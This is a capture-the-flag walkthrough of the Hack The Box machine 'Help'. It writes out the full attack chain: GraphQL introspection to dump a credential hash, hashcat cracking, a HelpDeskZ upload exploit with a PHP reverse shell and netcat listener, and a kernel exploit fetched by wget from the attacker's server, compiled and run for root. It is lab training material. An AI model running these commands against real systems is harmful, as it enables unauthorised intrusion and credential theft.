Sitemap

HTB — Help

5 min read2 days ago

--

1. Reconnaissance

Full port scan

nmap -p- --min-rate 5000 10.129.230.159

Result:

  • 22/tcp — open — SSH
  • 80/tcp — open — HTTP
  • 3000/tcp — open — unknown
Press enter or click to view image in full size

Service/version scan

nmap -A -p 22,80,3000 10.129.230.159

Result:

Port Service Version 22 SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 80 HTTP Apache 2.4.18 (Ubuntu) — default page 3000 HTTP Node.js Express framework — returns JSON

Press enter or click to view image in full size
  • Added help.htb to /etc/hosts

2. Web Enumeration

Port 80 — Directory brute-force

Press enter or click to view image in full size
feroxbuster -u http://help.htb/
Press enter or click to view image in full size
Press enter or click to view image in full size

Key finds:

Path Notes /support/ HelpDeskZ helpdesk login portal /support/uploads/ Upload directory /support/includes/language/ Directory listing exposed /support/controllers/admin/ Directory listing exposed /support/controllers/staff/ Directory listing exposed /support/controllers/client/ Directory listing exposed

Port 3000 — Curl probe

curl -i http://10.129.230.159:3000

Response:

{"message":"Hi Shiv, To get access please find the credentials with given query"}

Key observations:

  • X-Powered-By: Express → Node.js backend
  • The word “query” → hint pointing toward a GraphQL API
Press enter or click to view image in full size

Port 3000 — Finding the GraphQL endpoint

feroxbuster -u http://10.129.230.159:3000/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

Hit:

400  GET  1l  3w  18c  http://10.129.230.159:3000/graphql

A 400 (Bad Request) instead of 404 (Not Found) means the path exists but is being called incorrectly — classic GraphQL behavior when you GET without a query string.

Confirm it’s GraphQL:

curl -s http://10.129.230.159:3000/graphql
# → "GET query missing." ← confirms GraphQL server

3. GraphQL Exploitation — Credential Extraction

Step 1 — Introspection (map the schema)

GraphQL servers can self-describe via introspection — send a meta-query (__schema) to list all types and fields:

curl -s -X POST http://10.129.230.159:3000/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'

Key schema fields returned:

{"name":"Query","fields":[{"name":"user"}]},
{"name":"User","fields":[{"name":"username"},{"name":"password"}]}

→ A user query exists and returns username + password fields.

Step 2 — Query for credentials

curl -X POST http://10.129.230.159:3000/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user { username password } }"}'

Result:

{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}

Step 3 — Crack the MD5 hash

  • 32 hex chars = MD5 hash format
echo -n "5d3c93182bb20f07b994a7f617e99cff" > hash.txt
# Note: -n is critical — without it, echo adds a newline making it 33 bytes,
# which breaks hashcat's token-length validation
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# -m 0 = raw MD5 mode
# -a 0 = straight wordlist attack

✅ Cracked: godhelpmeplz

Get Cryx’s stories in your inbox

Join Medium for free to get updates from this writer.

Full credentials: helpme@helpme.com : godhelpmeplz

4. HelpDeskZ — File Upload RCE

Logging in

Version fingerprinting

Found version info at:

Press enter or click to view image in full size

Version identified: HelpDeskZ 1.0.2

💡 How to find app versions without being told (for future boxes):

  • Check readme.txt, readme.html, CHANGELOG, UPGRADING.txt, VERSION in the app root — many PHP apps include these by default
  • Look at the page footer or HTML source for a version string
  • Run whatweb http://target — it fingerprints CMS/app versions automatically
  • After finding the app name from the page title or headers, search searchsploit <appname> to see which version ranges have public exploits, then confirm which version is running

Exploit — Unauthenticated file upload bypass

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
  • CVE / SearchSploit: searchsploit helpdeskz → found 40300.py
Press enter or click to view image in full size
  • HelpDeskZ 1.0.2 allows uploading .php files via the ticket submission form; the server renames the file using an MD5 of the filename + timestamp — the exploit script brute-forces the upload path using the same logic

Steps:

  1. Download a PHP reverse shell (e.g. from pentestmonkey)
  2. Set up listener:
nc -nlvp 4444
  1. Upload the .php reverse shell via the Submit Ticket page (file attachment field)
  2. Run the exploit to find the uploaded file path and trigger it:
python2 40300.py http://help.htb/support/uploads/tickets/ php-reverse-shell.php
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

✅ Got a shell → captured user flag

5. Privilege Escalation — Kernel Exploit

Kernel version check

uname -a

Result: Linux kernel version → vulnerable to Linux Kernel < 4.4.0–116 (Ubuntu 16.04.4) — Local Privilege Escalation

Press enter or click to view image in full size

Exploit

# On attacker machine — serve the exploit
python3 -m http.server
# On target machine — fetch, compile, and run
wget http://10.10.15.247:8000/44298.c -O exploit.c
cat exploit.c # sanity check content
gcc -o exploit exploit.c
./exploit
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

✅ Root shell obtained → root flag captured

6. Flags

Flag Status User ✅ Captured Root ✅ Captured

Key Takeaways

  • A JSON banner saying “find the credentials with given query” on a Node/Express port is a soft hint toward GraphQL — but confirm it properly by brute-forcing /graphql with an API-focused wordlist and checking for a 400 (not a 404) response.
  • GraphQL introspection being left enabled is a common misconfiguration — always try {"query":"{__schema{types{name,fields{name}}}}"} before anything else; if the server tells you its own schema, you have an instant map of every query and field available.
  • When cracking hashes with hashcat: always use echo -n (no newline) when writing a hash to a file. A stray trailing newline makes the file 33 bytes instead of 32 and causes a "token length exception."
  • For version fingerprinting on web apps: check readme.html, UPGRADING.txt, CHANGELOG, and the page footer before Googling. whatweb and searchsploit are also fast shortcuts — searchsploit <appname> lists known vulnerable version ranges, which helps you know which version matters.
  • Kernel exploits (uname -a → SearchSploit or ExploitDB) are reliable on older Linux boxes but risky on production — always check kernel version early in the PrivEsc phase.

--

--

Cryx
Cryx

Written by Cryx

When you're dead already, you're free.